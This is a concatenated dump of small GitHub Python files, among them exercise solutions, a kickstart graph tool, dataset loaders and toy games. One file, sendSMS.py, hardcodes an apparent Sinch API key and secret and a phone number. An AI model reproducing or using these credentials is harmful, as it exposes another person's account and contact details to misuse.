op in operands]\n        operand_types: List[ma.Type] = [op.type for op in operands]\n\n        if region is None:\n            region = ma.Region([\n                ma.Block(ma.BlockLabel(ma.BlockId(\"bb0\"), operand_names, operand_types), [])\n                if operands else ma.Block(None, [])\n            ])\n\n        func: GenericOperation = GenericOperation(\n            name=QuotedStr(\"func.func\"),\n            args=[],\n            successors=None,\n            regions=[region],\n            attributes=ma.AttributeDict([\n                ma.AttributeEntry(\"sym_name\", StringAttr(name)),\n                ma.AttributeEntry(\"function_type\", FunctionTypeAttr(\n                    ma.FunctionType(operand_types, return_types)\n                ))\n            ]),\n            type=[ma.FunctionType([], [])]\n        )\n\n        if insert:\n            self.core_builder._insert_op_in_block([], func)\n\n        return func\n\n    def module(self, region: Optional[ma.Region] = None) -> GenericModule:\n        if region is None:\n            region = ma.Region([ma.Block(None, [])])\n\n        return GenericModule(\n            name=QuotedStr(\"builtin.module\"),\n            args=[],\n            region=region,\n            attributes=None,\n            type=ma.FunctionType([], [])\n        )\n\n    def return_op(self, results: List[ReturnValue]) -> None:\n        self.core_builder._insert_op_in_block(\n            [],\n            GenericOperation(\n                name=QuotedStr(\"func.return\"),\n                args=[res.sym for res in results],\n                successors=None,\n                regions=None,\n                attributes=None,\n                type=[ma.FunctionType([res.type for res in results], [])]\n            ))\n","repo_name":"ro-i/mlir-pandas","sub_path":"mlir_pandas/_dialects/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"70701989222","text":"# https://school.programmers.co.kr/learn/courses/30/lessons/42840\n\n\n# 런타임에러 왜뜨는거임\ndef solution(answers):\n    answer = []\n    # 12345\n    # 2123242\n    # 331122445\n    student = ['12345','21232425','331122445']\n    stscore =  [0, 0, 0]\n    stid = [0, 0, 0]\n    for i in range(3):\n        for ans in answers:\n            if int(student[i][stid[i]]) == ans:\n                stscore[i] += 1\n            stid[i] += 1\n            if stid[i]+1 == len(student[i]):\n                stid[i] == 0\n    \n    for i in range(3):\n        if stscore[i] == max(stscore):\n            answer.append(i+1)\n            \n    return answer\n\n\n\n# 정답코드 이거 근데 틀린코드 왜 런타임에러 나는지 모르겠다\ndef solution(answers):\n    answer = []\n    \n    student = ['12345','21232425','3311224455']\n    stscore =  [0, 0, 0]\n    \n    for i, ans in enumerate(answers):\n        if int(student[0][i%5]) == ans:\n            stscore[0]+= 1\n        if int(student[1][i%8]) == ans:\n            stscore[1]+= 1\n        if int(student[2][i%10]) == ans:\n            stscore[2]+= 1\n    \n    for i in range(3):\n        if stscore[i] == max(stscore):\n            answer.append(i+1)\n            \n    return answer\n","repo_name":"8x15yz/Algorithm-Solutions","sub_path":"2023/programers/01/모의고사.py","file_name":"모의고사.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18664606147","text":"from collections import deque\nimport sys\ninput = sys.stdin.readline\n\n\ndef main():\n\n    n = int(input())\n\n    cnt = 0\n    # lst = [1,1,1,1,1,1,1,1,1]\n    lst = deque([1, 1, 1, 1, 1, 1, 1, 1, 1])\n    lst = deque([1, 1, 1, 1, 1])\n    for i in range(n-1):\n        temp = deque([0, 0, 0, 0, 0])\n        temp[0] = lst[0] + lst[1]\n        temp[1] = lst[0] + lst[1] + lst[2]\n        temp[2] = lst[1] + lst[2] + lst[3]\n        temp[3] = lst[2] + lst[3] + lst[4]\n        temp[4] = lst[3]*2 + lst[4]\n        # for j in range(len(temp)):\n        # for j in range(1,5):\n        #     temp[j] = lst[j-1] + lst[j] + lst[j+1]\n        # temp[5] = temp[3]\n        # temp[6] = temp[2]\n        # temp[7] = temp[1]\n        # if j == 0:\n        #     temp[j] = lst[j] + lst[j+1]\n        # elif j == 8:\n        #     temp[j] = lst[j-1] + lst[j]\n        # else:\n        #     temp[j] = lst[j-1] + lst[j] + lst[j+1]\n        # print(temp)\n        lst = temp\n\n    for i in range(len(lst)):\n        if i != 4:\n            cnt += lst[i]*2\n        else:\n            cnt += lst[i]\n\n    print(cnt % 998244353)\n\n\nmain()\n","repo_name":"ganopippi/atcoder","sub_path":"03_TLE/ABC242_C.py","file_name":"ABC242_C.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73149417062","text":"#!/usr/bin/env python3\n\"\"\"\n`ksu` or `kickstart utilities` is a script to inspect the\n[fedora kickstarts](https://pagure.io/fedora-kickstarts/) repository or any\nother collection of kickstart files.\n\nIt can turn that collection into a graphviz `.dot` file to see relationships\nbetween the different kickstart files, it can report kickstarts that are\nunused, and it can try to find the set intersection between all kickstart\nfiles to determine the \"base system\", plus some other tidbits.\n\n`ksu` requires Python 3.9 or higher.\n\"\"\"\n\nimport argparse\nimport io\nimport itertools\nimport logging\nimport pathlib\nimport sys\nfrom typing import Any\n\n\"\"\"\nCopyright 2023 Simon de Vlieger <cmdr@supakeen.com>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is furnished\nto do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\n\nlog = logging.getLogger(__name__)\n\n\ndef parse_args(args: list[str]) -> argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=sys.modules[__name__].__doc__,\n        epilog=\"Copyright 2023 Simon de Vlieger <cmdr@supakeen.com>\",\n    )\n\n    parser.add_argument(\n        \"-v\",\n        action=\"count\",\n        default=0,\n        help=\"verbosity, pass multiple times to set level.\",\n    )\n\n    subparsers = parser.add_subparsers(dest=\"subparser_name\")\n\n    graph_parser = subparsers.add_parser(\n        \"graph\", description=main_graph.__doc__\n    )\n    graph_parser.add_argument(\"directory\")\n\n    return parser.parse_args(args)\n\n\ndef parse_kickstart(path: pathlib.Path) -> dict[str, Any]:\n    data: dict[str, list[pathlib.Path]] = {\"includes\": []}\n    text = path.read_text()\n\n    for line in text.splitlines():\n        if line.startswith(\"%include\"):\n            _, include = line.split()\n            include_path = (path.parent / pathlib.Path(include)).resolve()\n\n            if not include_path.exists():\n                log.warning(\n                    \"%s includes %s, which does not exist\", path, include_path\n                )\n\n            data[\"includes\"].append(include_path)\n\n    return data\n\n\ndef main_graph(args: argparse.Namespace) -> int:\n    \"\"\"Output a `.dot` format graph for the kickstarts in a given\n    directory. The `.dot` file can be used with the `dot` program to generate\n    an image: `./ksu.py graph ~/kickstarts | dot -Ksfdp -Tpng -o graph.png`\"\"\"\n\n    assert args.subparser_name == \"graph\"\n\n    path = pathlib.Path(args.directory).resolve()\n\n    if not path.exists():\n        log.fatal(\"path %s does not exist\", path)\n        return 1\n\n    if not path.is_dir():\n        log.fatal(\"path %s is not a directory\", path)\n        return 1\n\n    paths = path.glob(\"**/*.ks\")\n\n    graph: dict[pathlib.Path, list[pathlib.Path]] = {}\n\n    for kickstart_path in paths:\n        log.debug(\"parsing kickstart file at %s\", kickstart_path)\n\n        data = parse_kickstart(kickstart_path)\n\n        log.info(\"%s has %d includes\", kickstart_path, len(data[\"includes\"]))\n\n        graph[kickstart_path] = data[\"includes\"]\n\n    # while we're at it, let's create a reverse graph as well\n    rgraph: dict[pathlib.Path, list[pathlib.Path]] = {}\n\n    for node, edges in graph.items():\n        if node not in rgraph:\n            rgraph[node] = []\n\n        for edge in edges:\n            if edge not in rgraph:\n                rgraph[edge] = [node]\n            else:\n                rgraph[edge] += [node]\n\n    # generate `.dot` file format for graphfiz\n    file = io.StringIO()\n    file.write(\"digraph {\\n\")\n\n    # first we write down all the nodes, we shorten the paths by making them\n    # relative to the initial path containing them so the names are a bit\n    # shorter\n\n    # get a set of unique nodes\n    nodes = (\n        set(itertools.chain.from_iterable(graph.values()))\n        | set(graph.keys())\n    )\n\n    for node in nodes:\n        node_text = node.relative_to(path)\n        file.write(\"  \" + f'\"{node_text}\"')\n\n        opts = {}\n\n        # references to non-existent kickstart files can be colored\n        # differently\n        if not node.exists():\n            opts[\"style\"] = \"filled\"\n            opts[\"fillcolor\"] = \"#DD0000\"\n\n        # if a node includes nothing we give it a different shape\n        if node in graph and not len(graph[node]):\n            opts[\"shape\"] = \"diamond\"\n\n        # if a node isn't included by anything this is likely an end\n        # and we color it differently to make it stand out\n        if node in rgraph and not len(rgraph[node]):\n            opts[\"penwidth\"] = \"5\"\n\n        if opts:\n            file.write(\" [\")\n            file.write(\",\".join(f'{key}=\"{val}\"' for key, val in opts.items()))\n            file.write(\"]\")\n\n        file.write(\";\\n\")\n\n    file.write(\"\\n\")\n\n    for node, edges in graph.items():\n        node = node.relative_to(path)\n\n        for edge in edges:\n            edge = edge.relative_to(path)\n\n            file.write(\"  \" + f'\"{node}\" -> \"{edge}\";\\n')\n\n    file.write(\"}\\n\")\n\n    print(file.getvalue(), end=\"\")\n\n    return 0\n\n\ndef main() -> int:\n    args = parse_args(sys.argv[1:])\n\n    logging.basicConfig(level=logging.FATAL - (10 * args.v))\n\n    if args.subparser_name == \"graph\":\n        return main_graph(args)\n\n    # should be unreachable\n    return -1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n\n# SPDX-FileType: SOURCE\n# SPDX-FileCopyRightText: Copyright 2023 Simon de Vlieger <cmdr@supakeen.com>\n\n# SPDX-License-Identifier: MIT\n\n# vi:sw=4:ts=4:et:\n","repo_name":"osbuild/fedora-blueprints","sub_path":"scripts/ksu.py","file_name":"ksu.py","file_ext":"py","file_size_in_byte":6289,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"38008917894","text":"# ade20k.py\nimport multiprocessing as mp\nfrom typing import Any, Optional\n\nfrom datasets import load_dataset\n\nfrom gate.boilerplate.decorators import configurable\nfrom gate.config.variables import DATASET_DIR\nfrom gate.data.core import GATEDataset\nfrom gate.data.image.segmentation.classes import ade20_classes as CLASSES\nfrom gate.data.transforms.segmentation import (\n    BaseDatasetTransforms,\n    KeySelectorTransforms,\n)\n\n\ndef build_dataset(set_name: str, data_dir: Optional[str] = None) -> dict:\n    \"\"\"\n    Build a Food-101 dataset using the Hugging Face datasets library.\n\n    Args:\n        data_dir: The directory where the dataset cache is stored.\n        set_name: The name of the dataset split to return (\"train\", \"val\", or \"test\").\n\n    Returns:\n        A dictionary containing the dataset split.\n    \"\"\"\n    data = load_dataset(\n        \"Chris1/cityscapes_segmentation\",\n        \"instance_segmentation\",\n        cache_dir=data_dir,\n        num_proc=mp.cpu_count(),\n    )\n\n    dataset_dict = {\n        \"train\": data[\"train\"],\n        \"val\": data[\"validation\"],\n        \"test\": data[\"test\"],\n    }\n\n    return dataset_dict[set_name]\n\n\n# NSD and DSC for metrics, and also ensure that the model can compute per class metrics\n\n\n@configurable(\n    group=\"dataset\", name=\"cityscapes\", defaults=dict(data_dir=DATASET_DIR)\n)\ndef build_gate_dataset(\n    data_dir: Optional[str] = None,\n    transforms: Optional[Any] = None,\n    num_classes=len(CLASSES),\n    image_size=1024,\n    target_image_size=256,\n    ignore_index=0,\n) -> dict:\n    input_transforms = KeySelectorTransforms(\n        initial_size=2048,\n        image_label=\"image\",\n        label_label=\"semantic_segmentation\",\n    )\n\n    train_transforms = BaseDatasetTransforms(\n        input_size=image_size,\n        target_size=target_image_size,\n        crop_size=image_size,\n        flip_probability=0.5,\n        use_photo_metric_distortion=True,\n    )\n\n    eval_transforms = BaseDatasetTransforms(\n        input_size=image_size,\n        target_size=target_image_size,\n        crop_size=None,\n        flip_probability=None,\n        use_photo_metric_distortion=False,\n    )\n\n    train_set = GATEDataset(\n        dataset=build_dataset(\"train\", data_dir=data_dir),\n        infinite_sampling=True,\n        transforms=[input_transforms, train_transforms, transforms],\n        meta_data={\"class_names\": CLASSES, \"num_classes\": num_classes},\n    )\n\n    val_set = GATEDataset(\n        dataset=build_dataset(\"val\", data_dir=data_dir),\n        infinite_sampling=False,\n        transforms=[input_transforms, eval_transforms, transforms],\n        meta_data={\"class_names\": CLASSES, \"num_classes\": num_classes},\n    )\n\n    test_set = GATEDataset(\n        dataset=build_dataset(\"test\", data_dir=data_dir),\n        infinite_sampling=False,\n        transforms=[input_transforms, eval_transforms, transforms],\n        meta_data={\"class_names\": CLASSES, \"num_classes\": num_classes},\n    )\n\n    dataset_dict = {\"train\": train_set, \"val\": val_set, \"test\": test_set}\n    return dataset_dict\n","repo_name":"AntreasAntoniou/GATE","sub_path":"gate/data/image/segmentation/cityscapes.py","file_name":"cityscapes.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"35852772687","text":"# John Green\n# 1001011958\n# 11/8/13\n\"\"\"\nbuild_dictionary() builds a dictionary from file and returns the dictionary\n\ntranslate(dictionary, word) takes a dictionary and a word returns the morse code of the word\n\n\"\"\"\n\ndef build_dictionary():\n    dictionary = {}\n    file = open(\"Morse.txt\",\"r\")\n    for line in file: # build dictionary\n        line = line.strip(\"\\n\")\n        temp = line.split(\"\\t\")\n        dictionary[temp[0]] = temp[1]\n    file.close()\n    return dictionary\n\ndef translate(dictionary, word):\n    translated_word = \"\"\n    for i in word: # loop through letters\n        if 47 < ord(i) < 58: # test for numbers\n            translated_word += (dictionary[i]+\" \")\n            continue\n        if 89 < ord(i) < 123: # test for lower case\n            i = chr(ord(i)-32) # convert to upper case\n        if 64 < ord(i) < 91: # test for upper case\n            translated_word += (dictionary[i]+\" \") # build morse code\n        else:\n            return(\"Not translatable\")\n            \n    return translated_word\n\ndef main():\n    dictionary = build_dictionary()\n    word_ls = [\"cab\",\"Tin\",\"suNny\"]\n    for word in word_ls:\n        print(\"{:<8s}\".format(word+\":\") + translate(dictionary, word)) # print formated word and morse code\n\n    \"\"\"\n    # testing\n    while True:\n        word = input(\"input word: \")\n        if word == \"-1\":\n            break\n        print(\"{:<8s}\".format(word+\":\") + translate(dictionary, word))\n    \"\"\"\n\nmain()\n","repo_name":"JohnJGreen/1310Python","sub_path":"hw08/hw08_task2.py","file_name":"hw08_task2.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74180689060","text":"#User function Template for python3\nimport math\n\nclass Solution:\n    def sumOfNaturals(self, n):\n        # code here \n        return int(((n*(n+1))//2)%(math.pow(10,9)+7))\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__': \n    t = int (input ())\n    for _ in range (t):\n        n = int(input())\n        \n        ob = Solution()\n        print(ob.sumOfNaturals(n))\n# } Driver Code Ends","repo_name":"AyushAgnihotri2025/CP-Solutions","sub_path":"GeeksforGeeks/Python3/Easy/Reverse Coding/reverse-coding.py","file_name":"reverse-coding.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"10194995887","text":"import sqlite3 as lite\n#Script to write our test data\nconn = lite.connect('test.db')\nc = conn.cursor()\ndef start():\n    print(\"Starting the program that allows you to insert data into a test data base file\")\n    fileCreation()\ndef fileCreation():\n    print(\"Creating the database file\")\n    print(\"Connected to file\")\n    c.execute(\"CREATE TABLE Identificaiton(RunnerID TEXT, RunnerName TEXT)\")\n    c.execute(\"CREATE TABLE Stats(Race1 TEXT, Race2 TEXT, Race3 TEXT, Race4 TEXT, Race5)\")\n    c.execute(\"CREATE TABLE Team(Avg TEXT)\")\n    print(\"Done with file creation\")\n    fileManipulation()\ndef fileManipulation():\n    #It's a test file you don't need this many damn variables but ok\n    print(\"Starting file manipulation\")\n    a = str(1)\n    b = \"John, Rancer\"\n    c.execute(\"INSERT INTO Identification(RunnerID, RunnerName) VALUES('\"+a+\"', '\"+b+\"')\")\n    d = \"5:50\"\n    e = \"9:50\"\n    f = \"10:30\"\n    pb = \"9:50\"\n    mile = \"9:02\"\n    c.execute(\"INSERT INTO Stats(Race1, Race2, Race3, Race4, Race5) VALUES('\"+d+\"', '\"+e+\"', '\"+f+\"', '\"+pb+\"', '\"+mile+\"')\")\n    ravg = \"10:02\"\n    mavg = \"8:30\"\n    c.execute(\"INSERT INTO Team(Avg) VALUES('\"+ravg+\"', '\"+mavg+\"')\")\n    print(\"done\")\n    \n    \n\nstart()\n","repo_name":"JCTLearning/Project-Runner","sub_path":"old/Basics/testFileCreation.py","file_name":"testFileCreation.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8793860938","text":"import time \nfrom time import sleep \nfrom sinchsms import SinchSMS \n  \n# function for sending SMS \nclass sendSMS():\n\n    def __init__(self):\n\n        self.number = '919250028074'\n        self.app_key = 'e5c3efa0-3670-44bd-ab6b-1ab72db39a2e'\n        self.app_secret = 'mJDlQUvxJEyDUoGMrLLxWg=='\n        self.message = 'Need Help!!'\n  \n  \n    \n    def sendmessage(self,input):\n\n        self.message = input\n        client = SinchSMS(self.app_key, self.app_secret) \n        print(\"Sending '%s' to %s\" % (self.message, self.number)) \n      \n        response = client.send_message( self.number, self.message) \n        message_id = response['messageId'] \n        response = client.check_status(message_id) \n      \n        # keep trying unless the status retured is Successful \n        while response['status'] != 'Successful': \n            print(response['status']) \n            # time.sleep(1) \n            response = client.check_status(message_id) \n      \n        print(response['status']) \n  \n","repo_name":"viky08/Eye-Blink-Gaze-Detection-For-LIS-patients","sub_path":"sendSMS.py","file_name":"sendSMS.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"74596710819","text":"#实现对参数库的自动化解析\nfrom general_tool import yaml_parser\n\nrelation = \"relation.yaml\"\npath_row = \"./parser_result/\"    \npath_test = \"./yaml_para\"\n\nclass Parser():\n    def __init__(self):\n        # self.ws = ws\n        # self.name = name\n        # self.file_row = path_row + name +'_para_row.yaml'\n        \n        self.y_obj = yaml_parser.Parser()\n\n        self.dic01 = {}\n        self.dic02 = {}\n\n    def para_group_to_yaml(self, ws, name):\n        self.dic = {}\n        odd_arr = ['noload_none', 'noload_sedan', 'noload_truck',\n                    'payload_none', 'payload_sedan', 'payload_truck',\n                    'night_none', 'night_sedan', 'night_truck', \n                    'night_payload_none', 'night_payload_sedan', 'night_payload_truck', \n                    'sedan_sedan', 'sedan_truck', 'truck_truck', 'night_sedan_sedan', 'night_sedan_truck', 'night_truck_truck', \n                    'tunnel_entering', 'tunnel_exiting', 'tunnel_middle',\n                    'day_sunny_highway_noload', 'day_sunny_highway_payload', 'day_sunny_tunnel_noload',\n                    'dawn_sunny_highway_noload', 'night_sunny_highway_noload', 'night&lamp_sunny_highway_noload',\n                    'day_rainy_highway_noload', 'day_heavyrainy_highway_noload',\n                    'night&lamp_rainy_highway_noload', 'day_rainy_highway_payload']\n        for i in odd_arr:\n            self.combin(i, ws, name)\n        # str1 = \"noload_none\"\n        # str2 = \"noload_sedan\"\n        # str3 = \"noload_truck\"\n        # self.combin(str1)\n        # self.combin(str2)\n        # self.combin(str3)\n        key01 = name + \"_values\"\n        self.dic01[key01] = self.dic02\n        # print(self.dic01)\n        self.dic02 = {}\n        # print(self.dic)\n\n    def combin(self, string, ws, name):\n        if self.action(string, name):\n            return self.para_to_yaml(self.action(string, name), self.odd(string, name), string, ws, name)\n\n    def action(self, string, name):\n        if name.split('&')[0] in ['CC', 'ILC', 'nudge', 'ALC']:\n            temp = self.y_obj.yaml_manage(relation)['basic_para']\n            # print(temp)\n        elif name.split('&')[0] == 'odd':\n            temp = self.y_obj.yaml_manage(relation)['odd_para']\n        else:\n            # print(name.split('&')[0])\n            temp = self.y_obj.yaml_manage(relation)['unbasic_para']\n        if (string + '_action') in temp.keys():\n            # print(\"string: \", string)\n            # print(temp[string + '_action'])\n            return temp[string + '_action']\n\n    def odd(self, string, name):\n        if name.split('&')[0] in ['CC', 'ILC', 'nudge', 'ALC']:\n            temp = self.y_obj.yaml_manage(relation)['basic_para']\n        elif name.split('&')[0] == 'odd':\n            temp = self.y_obj.yaml_manage(relation)['odd_para']\n        else:\n            temp = self.y_obj.yaml_manage(relation)['unbasic_para']\n    \n        if (string + '_odd') in temp.keys():\n            # print(\"string: \", string)\n            # print(temp[string + '_odd'])\n            return temp[string + '_odd']\n\n    def para_to_yaml(self, action, odd, string, ws, name):\n        result = {}\n        temp = {}\n        file_row = path_row + name +'_para_row.yaml'\n        # print(file_row)\n        dic = self.y_obj.yaml_manage(file_row)\n        for id_1st in dic:\n            temp = dic[id_1st]\n            for id_2nd in temp:\n                row_num = temp[id_2nd]\n                dic_g = {}\n                j = 0\n                for i in range(5):\n                    # print(\"@@@@@@@@@@@\", row_num)\n                    # print(\"@@@@@@@@@@@\", action)\n                    cell_action = ws.cell(row = row_num, column = action).value\n                    cell_odd = ws.cell(row = row_num, column = odd).value\n                    row_num += 1\n                    #将字符串转化为字典格式\n                    dic_action = self.func(cell_action)\n                    dic_odd = self.func(cell_odd)\n                    #如果action或odd任一不为空\n                    if dic_action or dic_odd:\n                        j += 1\n                        dic_g['group'+str(j)] = self.arrange_para(dic_action, dic_odd)\n                if dic_g:\n                    result[id_2nd] = dic_g\n        # print(result)\n        if result:\n            file_path =  path_test + \"/\"\n            file_name = name + \"_\" + string + \".yaml\"\n            self.y_obj.yaml_generate(result, file_path, file_name)\n            #\n            key02 = string\n            value = file_path + file_name\n            self.dic02[key02] = value\n\n\n    def arrange_para(slef, action, odd):\n        temp = {}\n        temp['para_action'] = action\n        temp['para_odd'] = odd\n        return temp\n\n    #将下面形式转化成列表和字典嵌套格式\n    #调用三面的三个方法\n    # A:1;2;3;\n    # B:1;2;\n    # C:0;1;2;3;4;\n    def func(self, string):\n        if not string:    #空白\n            return\n        arr01 = self.func_arr_01(string)\n        dic = {}\n        for i in arr01:\n            for key,value in self.func_dic(i).items():\n                arr = self.func_arr_02(value)\n                dic[key] = arr\n        return dic\n\n    #将 A：B 字符串转成字典结构\n    def func_dic(self, string):\n        key = ''\n        temp = ''\n        dic = {} \n        for i in string:\n            if i == \":\" or i == \"：\":\n                key = temp\n                temp = ''\n                continue\n            temp += i\n        dic[key] = temp\n        return dic\n\n    # 将下面形式字符串转换成列表结构\n    # a\n    # b\n    # c\n    def func_arr_01(self, string):\n        arr = []\n        str = \"\"\n        k = 0\n        for i in string:\n            k += 1\n            if i == \"\\n\":\n                # print(str)\n                arr.append(str)\n                str = \"\"\n                continue\n            str += i\n            if k == len(string):\n                arr.append(str)\n                break\n        return arr\n\n    #将a;b;c;转换成列表结构\n    def func_arr_02(self, string):\n        arr = []\n        temp = ''\n        for i in string:\n            if i == ';' or i == '；':\n                arr.append(temp)\n                temp = ''\n                continue\n            temp += i\n        return arr","repo_name":"eden-cheng/veh_concrete","sub_path":"parser_tool/lib_para_parser.py","file_name":"lib_para_parser.py","file_ext":"py","file_size_in_byte":6261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7360228045","text":"from datetime import date\nimport random\n\nclass Movies:\n    def __init__(self, title, release, genre, views):\n        self.title = title\n        self.release =  release\n        self.genre = genre\n        self.views = views\n        \n    def play(self):\n        self.views += 1\n\n    def __str__(self):\n        return f\"'{self.title}' ({self.release}) {self.views}\"\n\n    def __eq__(self, other):\n        return self.title == other.title\n\nclass Series(Movies):\n    def __init__(self, title, release, genre, views, episode, season):\n        super().__init__(title, release, genre, views)\n        self.episode = episode\n        self.season = season\n\n    def __str__(self):\n        return f\"'{self.title}':S{self.season:02d}E{self.episode:02d} {self.views}\"\n\nFilm_1 = Movies(title=\"Incepcja\", release=2010, genre=\"Sci-Fi, Psychologiczne\", views=1)\nFilm_2 = Movies(title=\"Shrek\", release=2001, genre=\"Animacja, Komedia\", views=1)\nFilm_3 = Movies(title=\"Fight Club\", release=2000, genre=\"Thriller, Psychologiczny\", views=1)\nFilm_4 = Movies(title=\"Wyspa Tajemnic\", release=2010, genre=\"Dramat, Thriller\", views=1)\nFilm_5 = Movies(title=\"Gran Torino\", release=2009, genre=\"Dramat\", views=1)\n\nSerial_1 = Series(title=\"Dr House\", release=2004, genre=\"Dramat, Komedia\", views=1, season=4, episode=12)\nSerial_2 = Series(title=\"Breaking Bad\", release=2008, genre=\"Dramat, Kryminał\", views=1, season=2, episode=3)\nSerial_3 = Series(title=\"The Waking Dead\", release=2010, genre=\"Dramat, Horror\", views=1, season=7, episode=14)\nSerial_4 = Series(title=\"Peaky Blinders\", release=2014, genre=\"Kryminał, Dramat historyczny\", views=1, season=6, episode=9)\nSerial_5 = Series(title=\"Czarnobyl\", release=2019, genre=\"Dramat\", views=1, season=4, episode=6)\n\ndatabase = [Film_1, Film_2, Film_3, Film_4, Film_5, Serial_1, Serial_2, Serial_3, Serial_4, Serial_5]\n\ndef get_movies():\n    movies = []\n    for obj in database:\n        if obj.season > 0:\n            movies.append(obj)\n    return movies\n\ndef get_series():\n    series = []\n    for obj in database:\n        if obj.season >= 1:\n            series.append(obj)\n    return series\n\ndef search(title):\n    for i in database:\n        if i.title == title:\n            return i\n\ndef generate_views():\n    x = random.choice(database)\n    x.views = random.randint(1, 100)\n    return x.views\n\ndef generate_views_loop():\n    for i in range(10):\n        generate_views()\n\ndef top_titles(obj, content_type='all'):\n    if content_type == 'Movies':\n        movies = []\n        for obj in database:\n            if isinstance(obj, Series):\n                continue\n            movies.append(obj)\n        top_titles = sorted(movies, key=lambda movie: movie.views, reverse=True)\n        return top_titles[:obj]\n    elif content_type == 'Series':\n        series = []\n        for obj in database:\n            if isinstance(obj, Series):\n                continue\n            series.append(obj)\n        top_titles = sorted(series, key=lambda series: series.views, reverse=True)\n        return top_titles[:obj]\n    else:\n        top_titles = sorted(database, key=lambda x: x.views, reverse=True)\n        return top_titles[:obj]\n\n\nif __name__ == '__main__':\n    print(\"Biblioteka filmów\")\n    print(f\"Najpopularniejsze filmy i seriale dnia {date.today():%d.%m.%Y}\")\n    generate_views_loop()\n    for i in top_titles(3):\n        print(i)\n#Dla mentora\n#Random zawsze zwraca conajmniej 2 jedynki w views, nie mam już siły z tym walczyć dlatego wysyłam zadanko niby działające, ale nie na 100% \nprint(\"------------\")\nprint(Serial_1)\nprint(Serial_2)\nprint(Serial_3)\nprint(Serial_4)\nprint(Serial_5)\nprint(Film_1)\nprint(Film_2)\nprint(Film_3)\nprint(Film_4)\nprint(Film_5)","repo_name":"Trasmor/BazaFilmow","sub_path":"BibliotekaFilmow.py","file_name":"BibliotekaFilmow.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19576709712","text":"import random\n\nR = 'камень'\nS = 'ножницы'\nP = 'бумага'\nvalues = [R, S, P]\ncontinue_game = True\nwhile continue_game:\n\n    player_choice = input('Введите название ')\n    comp = random.choice(values)\n    print(comp + ' - это выбор компьютера')\n    if player_choice == comp:\n        result = 'Ничья!'\n    elif player_choice == R and comp == S:\n        result = 'Вы выйграли!'\n    elif player_choice == S and comp == P:\n        result = 'Вы выйграли!'\n    elif player_choice == P and comp == R:\n        result = 'Вы выйграли!'\n    else:\n        result = 'Увы! Вы проиграли!'\n    continue_game = input(f'{result} Если хотите сыграть еще - введите Yes. Если нет - введите No ') == 'Yes'\n    if continue_game == False:\n        print('Спасибо за игру')\n\n\n","repo_name":"Galakeit/Go_Python","sub_path":"Udemy/my_work/RSP.py","file_name":"RSP.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26649892547","text":"import streamlit as st\r\nimport random\r\n         \r\n\r\nst.set_page_config(\"Python Hangman\")\r\n\r\nst.markdown(\"<h1 style='text-align: center; color: red;'>Hangman for Python Programmers</h1>\", unsafe_allow_html=True)\r\n\r\n\r\nst.write(\"Enter the blanks with a Python Keyword\")\r\n\r\nc = st.container()\r\n\r\n\r\n# word_list = ['tuple' , 'global' , 'list' , 'dict' , 'string' , 'elif' , 'else' , 'while' , 'for' , 'import' , 'from' , 'def' , 'try' , 'except' , 'finally']\r\n# final_word = random.choice(word_list)  under review \r\n\r\ntext = 'while'\r\n\r\nlose = 0\r\nwin = 0\r\n\r\ndef win_check(letter, text):\r\n    global lose\r\n    global win\r\n    if letter in text:\r\n        win += 1\r\n    else:\r\n        lose += 1\r\n\r\n    if win == len(text):\r\n        st.balloons()\r\n        st.success(\"You have successfully guessed the word\")\r\n\r\n\r\ndef update(letter, word, text):\r\n    \r\n    text = list(text)\r\n    word = list(word)\r\n    letter = letter.lower()\r\n\r\n    for i in range(len(text)):\r\n        if text[i] == letter:\r\n            word[2*i] = letter\r\n\r\n    new = \"\"\r\n\r\n    word = new.join(word)\r\n    u.markdown( 